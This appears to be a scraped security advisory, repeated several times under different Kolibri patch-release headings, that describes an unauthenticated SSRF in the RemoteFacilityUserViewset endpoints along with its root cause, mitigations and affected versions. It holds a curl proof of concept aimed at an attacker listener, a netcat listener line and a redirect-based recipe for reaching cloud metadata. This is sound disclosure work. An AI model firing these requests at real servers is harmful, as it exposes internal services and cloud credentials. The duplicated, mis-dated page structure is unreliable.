Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 06, 2022

0.15.6 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jul 18, 2022

0.15.5 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jul 01, 2022

0.15.4 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


